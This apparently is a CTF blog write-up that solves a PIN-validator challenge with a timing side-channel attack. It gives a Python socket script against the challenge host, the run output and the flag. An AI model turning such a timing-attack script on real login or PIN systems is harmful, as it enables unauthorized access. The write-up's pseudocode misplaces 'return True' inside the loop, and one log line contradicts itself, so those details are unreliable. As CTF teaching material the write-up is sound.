Skip to main content

Time To Escalate CTF Writeup: Side-Channel Timing Attack Exploit in Python

Updated 5 min readMarkdown
Part of seriesAdvent of CTF'25
Time To Escalate CTF Writeup: Side-Channel Timing Attack Exploit in Python

Challenge Description

Category: Miscellaneous
Author: qvipin

Three elves from the Wrapping Division (Jingle, Tinsel, and Sprocket) are trapped in Elevator Shaft 3B after a KRAMPUS SYNDICATE intrusion locked down the control panel.

Our forensics team recovered partial intel: the Syndicate replaced the elevator's authentication module with a hastily written PIN validator. The elevator panel accepts a 6 digit PIN, and each incorrect attempt triggers a 3 second lockout, so brute force isn't viable.

Here's the strange part: even when maintenance tested the correct PIN, the system took an unusually long time to process it. Our hardware team suspects the validator is doing something weird under the hood, but we haven't had time to investigate further.

Time is running out. The elves have limited candy cane rations. Hurry up!


Solution Walkthrough

Explanation

when maintenance tested the correct PIN, the system took an unusually long time to process it, this hinted at Side-Channel Timing Attack.

About this challenge:

  1. Brute Force is impossible: The 3-second lockout makes trying all 1,000,000 combinations unfeasible.

  2. Processing time varies: The "unusually long time" hint implies that the server takes a different amount of time to reject a correct character than it does an incorrect one.

1. Vulnerability Analysis

Secure systems compare PINs using "constant time" algorithms—meaning it takes the exact same amount of time to verify the input regardless of whether the first character is wrong or the last character is wrong.

The validator pseudocode:

for i in range(0, 6):
    if user_input[i] != actual_pin[i]:
        return False  # <-- Returns immediately upon failure!
    else:
        sleep(1)      # Simulate processing delay
        return True

This logic implies that the server's processing time correlates directly with the number of correct characters at the beginning of the input.

  • Case A: 001122 (Real PIN: 652310). The first digit 0 != 6. The loop breaks immediately. Execution time is minimal.

  • Case B: 600998. The first digit 6 == 6. The loop proceeds to the second digit. Execution time increases.

  • Case C: 659999. The first two digits match. The loop proceeds to the third digit. Execution time increases further.

Thus, we can determine the PIN digit-by-digit by identifying which input 0-9 results in the longest server response time. This reduces the complexity from 10^6 attempts to approximately 60 attempts.

2. Exploitation Script

We implement a Python script to automate this timing attack. The script establishes a socket connection to the challenge server and iterates through each of the 6 PIN positions. For each position, it tests digits 0-9, parses the server's debug output (which explicitly states execution time), and selects the digit that maximizes this duration.

import socket
import time
import re

# Configuration
HOST = 'ctf.csd.lol'
PORT = 5040

def solve():
    print(f"[*] Connecting to {HOST}:{PORT}...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    # Receive initial banner until the first prompt
    buffer = ""
    while "PIN:" not in buffer:
        buffer += s.recv(1024).decode()
    print("[*] Connected and ready.")

    known_pin = ""

    # We have 6 digits to find
    for position in range(6):
        print(f"\n--- Solving Digit {position + 1} ---")

        max_time = 0.0
        best_digit = None

        # Try digits 0-9
        for digit in range(10):
            # Construct payload: known part + guess + padding
            padding_len = 6 - len(known_pin) - 1
            payload = known_pin + str(digit) + ("0" * padding_len)

            # Send payload
            s.sendall(f"{payload}\n".encode())

            # Read response until we get the debug message or lockout
            response_buffer = ""
            while "Debug:" not in response_buffer and "ACCESS GRANTED" not in response_buffer:
                chunk = s.recv(1024).decode()
                if not chunk: break
                response_buffer += chunk

            # Check for success immediately
            if "ACCESS GRANTED" in response_buffer:
                print(f"\n[!!!] PIN CRACKED: {payload}")
                print(f"Server Response: {response_buffer}")
                return

            # Parse the time
            match = re.search(r"Debug: (\d+\.\d+)s", response_buffer)
            if match:
                exec_time = float(match.group(1))
                print(f"   Guess: {payload} | Time: {exec_time}s")

                # If this time is significantly higher than previous max, it's our digit
                if exec_time > max_time:
                    max_time = exec_time
                    best_digit = str(digit)

            # Wait for the lockout to finish
            while "PIN:" not in response_buffer:
                chunk = s.recv(1024).decode()
                if not chunk: break
                response_buffer += chunk

        # Lock in the best digit
        known_pin += best_digit
        print(f"[+] Digit {position + 1} found: {best_digit}. Current PIN: {known_pin}")

    s.close()

if __name__ == "__main__":
    solve()

3. Execution and Analysis

We execute the solver. The output demonstrates the incremental timing leak:

❯ python3 solver.py
[*] Connecting to ctf.csd.lol:5040...
[*] Connected and ready.

--- Solving Digit 1 ---
   Guess: 700000 | Time: 0.681s
[+] Digit 1 found: 7. Current PIN: 7

--- Solving Digit 2 ---
   Guess: 770000 | Time: 0.97s
[+] Digit 2 found: 7. Current PIN: 77

--- Solving Digit 3 ---
   Guess: 775000 | Time: 1.318s
[+] Digit 3 found: 5. Current PIN: 775

--- Solving Digit 4 ---
   Guess: 775100 | Time: 1.881s
[+] Digit 4 found: 1. Current PIN: 7751

--- Solving Digit 5 ---
   Guess: 775100 | Time: 1.845s
[+] Digit 5 found: 0. Current PIN: 77510

--- Solving Digit 6 ---
[!!!] PIN CRACKED: 775106

Server Response: 
✓ ACCESS GRANTED in 1.952s

🎄 ELEVATOR RELEASED! 🎄
Jingle, Tinsel, and Sprocket have been freed!

The elves hand you a candy cane with a note:
csd{T1m1n9_T1M1N9_t1M1n9_1t5_4LL_480UT_tH3_t1m1n9}

The logs confirm the hypothesis:

  1. Digit 1 (7): Response time ~0.7s.

  2. Digit 2 (7): Response time jumps to ~1s.

  3. Digit 3 (5): Response time jumps to ~1.3s.

This stepwise increase confirms that for every correct digit, the server performed an additional comparison operation (or delay of ~0.3s), verifying the "Early Exit" vulnerability.


Final Flag

csd{T1m1n9_T1M1N9_t1M1n9_1t5_4LL_480UT_tH3_t1m1n9}

About the author

  • Barely Tame CTF Player. Debugging Addict. Worshipper of Wi-Fi Signals. Human? Depends on the Ping.

No comments yet. Be the first to comment.

Advent of CTF'25

Part 9 of 15

A structured walkthrough of all the challenges I solved from CyberStudents’ Advent of CTF 2025. This series documents each day’s puzzle with precise methodology, technical breakdowns, and reproducible exploitation steps.

Up nextSyndiware CTF Writeup: Python Ransomware & Memory ForensicsChallenge Description Category: ForensicsAuthor: a_person9852 The Krampus Syndicate has never been subtle, but their newest initiative, codenamed Syndiware, might be their boldest misstep yet. Designed as a "consumer-friendly malware suite," Syndiwar...

More from this blog